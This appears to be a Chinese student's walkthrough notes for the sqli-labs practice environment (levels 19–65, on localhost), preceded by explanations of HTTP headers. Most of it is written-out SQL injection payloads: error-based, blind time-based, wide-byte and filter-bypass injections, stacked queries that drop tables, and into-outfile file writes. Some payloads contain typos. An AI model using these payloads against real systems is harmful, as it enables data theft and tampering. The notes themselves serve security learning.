19、If-Unmodified-Since:如果请求的对象在该头部指定的时间之后没修改过,才执行请求
的动作(比如返回对象)。
20、 If-Range:浏览器告诉 WEB 服务器,如果我请求的对象没有改变,就把我缺少的部分
给我,如果对象改变了,就把整个对象给我。浏览器通过发送请求对象的 ETag 或者 自己
所知道的最后修改时间给 WEB 服务器,让其判断对象是否改变了。总是跟 Range 头部一
起使用。
21、 Last-Modified:WEB 服务器认为对象的最后修改时间,比如文件的最后修改时间,动
态页面的最后产生时间等等。例如:Last-Modified:Tue, 06 May 2008 02:42:43 GMT
22、 Location:WEB 服务器告诉浏览器,试图访问的对象已经被移到别的位置了,到该头
部 指 定 的 位 置 去 取 。 例 如 : Location : http://i0.sinaimg.cn
/dy/deco/2008/0528/sinahome_0803_ws_005_text_0.gif
23、 Pramga:主要使用 Pramga: no-cache,相当于 Cache-Control: no-cache。例如:Pragma:
no-cache
24、 Proxy-Authenticate: 代理服务器响应浏览器,要求其提供代理身份验证信息。
Proxy-Authorization:浏览器响应代理服务器的身份验证请求,提供自己的身份信息。
25、 Range:浏览器(比如 Flashget 多线程下载时)告诉 WEB 服务器自己想取对象的哪
部分。例如:Range: bytes=1173546-
26、 Referer:浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 当前请求中
的网址/URL。例如:Referer:http://www.sina.com/
27、 Server: WEB 服务器表明自己是什么软件及版本等信息。例如:Server:Apache/2.0.61
(Unix)
28、 User-Agent: 浏览器表明自己的身份(是哪种浏览器)。例如:User-Agent:Mozilla/5.0(Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2、0、0、14
29、 Transfer-Encoding: WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked)。例如:Transfer-Encoding: chunked
30、 Vary: WEB 服务器用该头部的内容告诉 Cache 服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源 WEB 服务器在接到第一个请求消息时,其响应消息的头部为:Content- Encoding: gzip; Vary: Content-Encoding 那么 Cache 服务器会分析后续请求消息的头部,检查其 Accept-Encoding,是否跟先前响应的 Vary 头部值一致,即是否使用相同的内容编码方法,这样就可以防止 Cache 服务器用自己 Cache 里面压缩后的实体响应给不具备解压能力的浏览器。例如:Vary:Accept-Encoding
31、 Via: 列出从客户端到 OCS 或者相反方向的响应经过了哪些代理服务器,他们用什么协议(和版本)发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添 加 Via 头部,并填上自己的相关信息,当下一个代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的 Via 头部,并把自己的相关信息加到后面,以此类推,当 OCS 收到最后一个代理服务器的请求时,检查Via 头 部 , 就 知 道 该 请 求 所 经 过 的 路 由 。 例 如 : Via : 1.0 236.D0707195.sina.com.cn:80(squid/2.6.STABLE13)
user-agent 注入
User-Agent:'and extractvalue(1,concat(ox7e,(selct @@version),0x7e)) and '1'='1
referer 注入
Referer :'and extractvalue(1,concat(ox7e,(selct @@version),0x7e)) and '1'='1
cookie 注入
uname=admin1' and extractvalue(1,concat(0x7e,(selct @@basedir),0x7e))#
cookie 注入(base64编码),对uname进行(‘uname’)的处理)
YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2
VkaXIpLDB4N2UpKSM=
cookie 注入(base64编码),对uname进行(“uname”)的处理)
admin1" and extractvalue(1,concat(0x7e,(select database()),0x7e))#
过滤注释
源代码
if(isset($_GET['id']))
{
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
函数 preg_replace()
preg_replace(A,B,C) //从C中查找A用B替换
通过闭合前后,获取数据,不使用注释
http://localhost/sqli/Less-23/index.php?id=-1' union select 1,(select group_concat(username,' : ',password) from security.users limit 0,1),'3
通过报错注入绕过
http://localhost/sqli/Less-23/index.php?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='1
本关为二次排序注入的示范例。二次排序注入也成为存储型的注入,就是将可能导致
sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发 sql 注入。
二次排序注入思路:
1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务
端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的
数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响
应。
3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库
中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服
务端环境中执行。
5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注
入漏洞利用是否成功。
此例子中我们的步骤是注册一个 admin’#的账号,接下来登录该帐号后进行修改密码。此时
修改的就是 admin 的密码。
Sql 语句变为 UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND
password=' , 也 就 是 执 行 了 UPDATE users SET passwd="New_Pass" WHERE username ='
admin'
二次排序注入,先注册用户admin'#
然后修改该用户的密码,发现修改的其实是admin账户的密码
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也 就 是 执 行 了 UPDATE users SET passwd="New_Pass" WHERE username ='admin'
绕过or、and过滤
一般方法:
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/*or*/
(4)利用符号 and=&& or=||
通过符号绕过
通过报错,发现过滤了or 和and
有报错信息,可以利用报错注入
1' || extractvalue(1,concat(0x7e,database(),0x7e))--+
同样过滤了or 和and,且参数为数字型,可以通过联合注入绕过
http://localhost/sqli/Less-25a/?id=-1 union select 1,database(),3 --+
这一关将空格,or,and、/*、#、–、/等各种符号过滤,对于注释和结尾字符的我们此处只能利用构造一个 '
来闭合后面到的'
,对于空格,有较多的方法:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
http://localhost/sqli/Less-26/?id=?id=1'%09||%09extractvalue(1,concat(0x7e,database(),0x7e))%09||%09 '1
遇见的问题:union select附近的编码不能正常执行,加0x7e
和不加的效果不同,%0a解析成“?”
闭合不同,union select之间的编码不能正常执行
http://localhost/sqli/Less-26a/?id=?id=-1')%09union%09select%091,user(),('3
Hint: Your Input is Filtered with following result: 1')unionselect1,user(),('3
可以利用延时注入
id=1')%09&&%09if(ascii(substr(database(),1,1))=115,1,sleep(5))%09('1
//执行不成功???
过滤了union、select,通过大小写绕过
http://localhost/sqli/Less-27/?id=100'%09UniOn%09SeleCt%091,database(),3%09 ||'1
id=-1’不行?id=100就行?id=-2可以查询出来数据,疑惑
通过双引号闭合
http://localhost/sqli/Less-27a/?id=id=100"%09UniOn%09SeleCt%091,database(),3%09 ||"1
通过 ')
闭合
http://localhost/sqli/Less-28/?id=100')%09UniOn%09SeleCt%091,database(),3%09 ||'(1
select ,union过滤了,大小写绕过也没用,可以使用双写绕过
http://localhost/sqli/Less-28/?id=100')%09UniOnunion%09SeleCtselect%091,database(),3%09 ||('1
但是union select之间的编码不能执行
尝试报错注入,无法执行
http://localhost/sqli/Less-28/?id=1')%09||%09extractvalue(1,concat(0x7e,database(),0x7e))%09||%09('1
正确payload
id=0')union(select%0d1,database(),'3
与28关类似,少过滤了空格
http://localhost/sqli/Less-28a/?id=0') union (select 1,database(),'3
对参数的不同处理
通过单引号闭合
http://localhost/sqli/Less-29/?id=-1' union select 1,database(),3 --+
通过双引号闭合
http://localhost/sqli/Less-30/?id=-1" union select 1,database(),3 --+
通过双引号+一个括号闭合
http://localhost/sqli/Less-31/?id=-1") union select 1,database(),3 --+
宽字节注入的原理和基本用法
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’ (转换的函数或者思路会在每一关遇到的时候介绍)。
因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:
1、%df 吃掉 \ 具体的原因是 urlencode(‘\) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。这也是 bypass 的一种方法。
通过宽字节注入,绕过引号过滤
http://localhost/sqli/Less-32/?id=-1%df' union select 1,database(),3 --+
此处过滤使用函数 addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
还是通过%df绕过
http://localhost/sqli/Less-33/?id=-1%df' union select 1,database(),3 --+
本关是 post 型的注入漏洞,同样的也是将 post 过来的内容进行了 ‘ \ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而 get 型的方式我们是以 url 形式提交的,因此数据会通过 URLencode,如何将方法用在 post 型的注入当中,我们此处介绍一个新的方法。将 utf-8 转换为 utf-16 或 utf-32,例如将 ‘ 转为 utf-16 为 � ' 。我们就可以利用这个方式进行尝试。
原始的 sql 语句为
@$sql="SELECT username, password FROM users WHERE username='$uname'
and password='$passwd' LIMIT 0,1";
此时 sql 语句为
SELECT username, password FROM users WHERE username='� ' or 1=1#' and
password='$passwd' LIMIT 0,1
Explain:SELECT username, password FROM users WHERE username='� ' or 1=1
起到作用,后面的则被#注释掉了。而起作用的的语句不论 select 选择出来的内容是什么与 1=1 进行 or 操作后,始终是 1。
�' or 1=1#
参数没有通过单引号闭合,数字型,直接注入
http://localhost/sqli/Less-35?id=-1 union select 1,database(),3 --+
利用了 mysql_real_escape_string()函数进行的过滤。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
但是因 mysql 我们并没有设置成 gbk,所以 mysql_real_escape_string()依旧能够被突破。方法和上述是一样的。
通过utf-16编码绕过
http://localhost/sqli/Less-36?id=-1�' union select 1,database(),3 --+
通过宽字节绕过
http://localhost/sqli/Less-36?id=-1%df' union select 1,database(),3 --+
与34关相似
�' or 1=1#
在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。试想一下我们在 ; 结束一个 sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 unionbinjection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
oracle 不能使用堆叠注入,当有两条语句在同一行时,直接报错。
数字型,无需闭合,堆叠注入
正常执行插入语句
http://localhost/sqli/Less-39?id=1;insert into users(id,username,password) values (39,'test1','test1') --+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3Jlb4L82-1667371665313)(sqli%E9%80%9A%E5%85%B3%E7%AC%94%E8%AE%B0.assets/image-20221026142433091.png)]
')
闭合,堆叠注入
http://localhost/sqli/Less-40?id=1');insert into users(id,username,password) values (40,'test2','test2')--+
此处与 less-39 是一致的,区别在于 41 错误不回显。所以我们称之为盲注。
http://localhost/sqli/Less-41?id=1;insert into users(id,username,password) values (41,'test3','test3') --+
post 注入,查看源码发现用户名处用函数 mysql_real_escape_string()处理了,但是密码处并未处理,在密码框出进行注入
c';create table test1 like users;--+
与上一关类似,通过')
来闭合
c');drop table test1;--+
本关是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与 42 关的区别就在于没有报错信息
c';create table test1 like users;--+
同样的,45 关与 43 关的 payload 是一样的,只不过 45 关依旧没有报错信息。
c');drop table test1;--+
从本关开始,我们开始学习 order by 相关注入的知识。
本关的 sql 语句为$sql = "SELECT * FROM users ORDER BY $id";
尝试?sort=1 desc 或者 asc,显示结果不同,则表明可以注入。(升序 or 降序排列)从上述的 sql 语句中我们可以看出,我们的注入点在 order by 后面的参数中,而 order by不同于的我们在 where 后的注入点,不能使用 union 等进行注入。
用到的函数
order by
1. select 字段列表/* from 表名 where 条件 order by 字段名1 asc/desc, 字段名2 asc/desc,.......
2. select 字段列表/* from 表名 where 条件 order by 字段序号 asc/desc, 字段序号 asc/desc,....... (此时字段序号要从1开始)
3. select 字段列表/* from 表名 where 条件 order by 字段别名1 asc/desc, 字段别名2 asc/desc,.......(这里类似于第一种,无非就是把字段名加了个别名来代替而已。)
order by的方式:
asc 升序,可以省略,是数据库默认的排序方式
desc 降序,跟升序相反。
right()和left()
right(str,len)
从字符串的左或右截取字符串
rand()
生成随机数,根据rand(true)和rand(false)返回结果不同判断rand()函数中的语句是否正确
注入思路
1、直接添加语句
?sort=(select user();)
2、利用一些函数,如rand()函数
?sort=rand(sql语句)
3、利用and
?sort=1 and (sql语句)
procedure analyse 参数后注入
procesure analyse(max_elements,max_memory)
max_elements
:指定每列非重复值的最大值,当超过这个值的时候,MySQL不会推荐enum类型。
max_memory:
为每列找出所有非重复值所采用的最大内存大小。
利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 procedure analyse 进行注入。
?sort=1 procedure analyse(sql语句)
导入导出文件into outfile
?sort=1 into outfile
利用lines terminated by
Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(网页马进行 16 进制转换)
判断是否有注入
http://localhost/sqli/Less-46/?sort=1 asc
http://localhost/sqli/Less-46/?sort=1 desc
//上面两条语句返回不同,说明参在注入
直接添加sql语句,不能正常显示,尝试利用rand()函数
http://localhost/sqli/Less-46/?sort=rand(true)
http://localhost/sqli/Less-46/?sort=rand(false)
//发现rand(true)和rand(false)返回的结果不一样
获取信息
http://localhost/sqli/Less-46/?sort=rand((ascii(substr(database(),1,1))=115))
//该语句与rand(true)返回页面相同,说明判断正确
判断出数据库名为‘security’后继续判断security中的表
http://localhost/sqli/Less-46/?sort=rand((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1 ),1,1))=101))
//判断该数据库中的第一个表名的第一个字符
依次判断其他内容,略
在判断的过程中发现有报错注入,还可以利用报错注入
http://localhost/sqli/Less-46/?sort=extractvalue(1,concat(0x7e,database(),0x7e)) --+
利用延时注入
http://localhost/sqli/Less-46/?sort=if(ascii(substr(database(),1,1))=115,0,sleep(0.2))--+
//这里的延时时间特别长,0或1有什么作用?什么区别?
procedure analyse 参数后注入
http://localhost/sqli/Less-46/?sort=1 procedure analyse(extractvalue(1,concat(0x7e,version(),0x7e)),1) --+
//不太理解
导入导出文件 into outfile 参数
将查询结果导入test.txt文件中
http://localhost/sqli/Less-46/?sort=1 into outfile 'D:\\phpStudy\\WWW\\sqli\\tset.txt'
向文件中写入文件内容
http://localhost/sqli/Less-46/?sort=1 into outfile 'D:\\phpStudy\\WWW\\sqli\\tset1.txt' lines terminated by
0x3c3f70687020706870696e666f28293b3f3e
//写入的文件中含有查询结果,不能解析为php文件
通过单引号闭合,利用方式与46关类似
利用floor()和rand()的报错注入
http://localhost/sqli/Less-47/?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)))--+
本关与 less-46 的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
http://localhost/sqli/Less-48/?sort=rand((ascii(substr(database(),1,1))=115))
本关与 47 关基本类似,区别在于没有错误回显,所以我们可以利用延时注入
http://localhost/sqli/Less-49/?sort=1' and (if(ascii(substr(database(),1,1))=115,0,sleep(0.2)))--+
order by和堆叠注入的结合
利用堆叠注入创建名字为less50的表
http://localhost/sqli/Less-50/?sort=1 ;create table less50 like users--+
用'
闭合并利用堆叠注入创建名字为less51的表,注释掉后面的'
http://localhost/sqli/Less-51/?sort=1';create table less51 like users--+
和 less50 是一样的,只是这里的 mysql 错误不会在前台显示,但是对于 stacked injection 是一样的利用方式
http://localhost/sqli/Less-52/?sort=1 ;create table less52 like users--+
和 less51 是一样的,只是这里的 mysql 错误不会在前台显示,但是对于 stacked injection 是一样的利用方式
http://localhost/sqli/Less-53/?sort=1';create table less53 like users--+
此系列主要是一个进阶的学习,将前面学到的知识进行更深次的运用。这一关我们主要考察的依旧是字符型注入,但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。
单引号闭合,正常查询
http://localhost/sqli/Less-54/index.php?id=-1' union select 1,group_concat(secret_MGW9),3 from uvoqpnjmr9 --+
单括号闭合,正常查询
http://localhost/sqli/Less-55/?id=-1) union select 1,group_concat(secret_29BW),3 from 46f0bo8gou --+
')
闭合,正常查询
http://localhost/sqli/Less-56/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+
http://localhost/sqli/Less-56/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='b103vzeuny' --+
http://localhost/sqli/Less-56/?id=-1') union select 1,group_concat(secret_UG52),3 from b103vzeuny --+
双引号闭合
http://localhost/sqli/Less-57/index.php?id=-1" union select 1,group_concat(secret_W07X),3 from wojiwbq9fy --+
单引号闭合,没有回显
http://localhost/sqli/Less-58/index.php?id=-1' union select 1,2,3 --+
利用报错注入
查询数据库中的表
http://localhost/sqli/Less-58/index.php?id=1' and extractvalue(1,concat((select group_concat(0x7e,table_name) from information_schema.tables where table_schema='challenges' ))) --+
查询表中的字段
http://localhost/sqli/Less-58/index.php?id=1' and extractvalue(1,concat((select group_concat(0x7e,column_name) from information_schema.columns where table_name='qzwvfx62mz' ))) --+
查询字段内容
http://localhost/sqli/Less-58/index.php?id=1' and extractvalue(1,concat((select group_concat(0x7e,secret_KTXW) from qzwvfx62mz ))) --+
数字型,无回显,与上一关类似
http://localhost/sqli/Less-59/?id=1 and extractvalue(1,concat((select group_concat(0x7e,table_name) from information_schema.tables where table_schema='challenges' ))) --+
通过")
闭合,利用报错注入
http://localhost/sqli/Less-60/?id=1") --+
http://localhost/sqli/Less-60/?id=1") and extractvalue(1,concat((select group_concat(0x7e,table_name) from information_schema.tables where table_schema='challenges' ))) --+
通过'))
闭合,利用报错注入
http://localhost/sqli/Less-61/?id=1')) and extractvalue(1,concat((select group_concat(0x7e,table_name) from information_schema.tables where table_schema='challenges' ))) --+
通过')
闭合,无回显,无报错信息,可以利用延时注入
http://localhost/sqli/Less-62?id=1') and if((ascii(substr(database(),1,1))=99),1,sleep(10)) --+
http://localhost/sqli/Less-62?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,1,sleep(10))--+
//可以通过二分法或者脚本提高注入效率
通过'
闭合,无回显,无报错信息,可以利用延时注入,与62关类似
http://localhost/sqli/Less-63?id=1' and if((ascii(substr(database(),1,1))=99),1,sleep(10)) --+
http://localhost/sqli/Less-63/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=102,1,sleep(10))--+
通过))
闭合,无回显,无报错信息,利用延时注入
http://localhost/sqli/Less-64/?id=1)) and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,1,sleep(10))--+
通过'
闭合,无回显,无报错信息,利用延时注入
http://localhost/sqli/Less-65/?id=1") and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,1,sleep(10))--+
结束语:其中一些问题有待解决,欢迎大家批评指正,可能有些问题以后学着学着就悟了。